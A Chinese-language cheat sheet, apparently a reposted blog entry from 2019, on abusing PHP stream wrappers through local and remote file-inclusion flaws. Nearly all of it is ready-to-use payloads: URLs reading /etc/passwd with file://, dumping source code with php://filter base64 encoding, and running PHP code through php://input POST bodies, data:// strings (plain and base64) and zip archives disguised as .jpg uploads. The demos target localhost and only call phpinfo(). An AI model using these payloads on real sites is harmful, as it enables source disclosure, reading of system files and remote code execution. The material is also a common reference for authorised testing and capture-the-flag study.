微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

【汇总】PHP 伪协议 利用


日期:2019-07-28 21:24:36
更新:
作者:Bay0net
介绍:


0x01、基本信息

文件包含函数

include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()

环境概要

PHP 配置文件PHP.ini
认路径: /etc/PHP5/apache2/PHP.ini

具体要求:

allow_url_fopen=on:认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。

allow_url_include=on:关闭,该选项为 on 便是允许包含 URL 对象文件等。

0x02、伪协议

file://协议

该协议在双 off 的情况下也可以正常使用;

?page=file:///etc/passwd
?file=file://D:/soft/PHPStudy/WWW/PHPcode.txt

PHP://协议

不需要开启 allow_url_fopen
下面的几个需要开启 allow_url_fopen

PHP://input
PHP://stdin
PHP://memory
PHP://temp

PHP://filter 读文件

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64 编码输出,不然会直接当做 PHP 代码执行就看不到源代码内容了。

?page=PHP://filter/read=convert.base64-encode/resource=file1.PHP

PHP://input 命令执行

环境:

  • allow_url_fopen :off/on
  • allow_url_include:on

注:当 enctype="multipart/form-data" 时,PHP://input 是无效的。

payload:

url:  http://127.0.0.1:81/vulnerabilities/fi/?page=PHP://input
post: <?PHP PHPinfo(); ?>

zip:// 压缩文件

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

用法

实例

http://127.0.0.1/cmd.PHP?file=zip://D:/soft/PHPStudy/WWW/file.jpg%23PHPcode.txt

先将要执行的PHP代码写好文件名为PHPcode.txt,将PHPcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径

bzip2://协议

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

用法

  • compress.bzip2://file.bz2

实例

http://127.0.0.1/cmd.PHP?file=compress.bzip2://D:/soft/PHPStudy/WWW/file.jpg

http://127.0.0.1/cmd.PHP?file=compress.bzip2://./file.jpg

zlib://协议

环境:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

用法

  • compress.zlib://file.gz

实例

http://127.0.0.1/cmd.PHP?file=compress.zlib://D:/soft/PHPStudy/WWW/file.jpg

http://127.0.0.1/cmd.PHP?file=compress.zlib://./file.jpg

data://

环境:

  • allow_url_fopen :on
  • allow_url_include:on

实例

# 明文
http://127.0.0.1/cmd.PHP?file=data://text/plain,<?PHP PHPinfo()?>

# base64 编码
http://127.0.0.1/cmd.PHP?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x03、Reference

php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽

PHP: 支持的协议和封装协议 - Manual

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐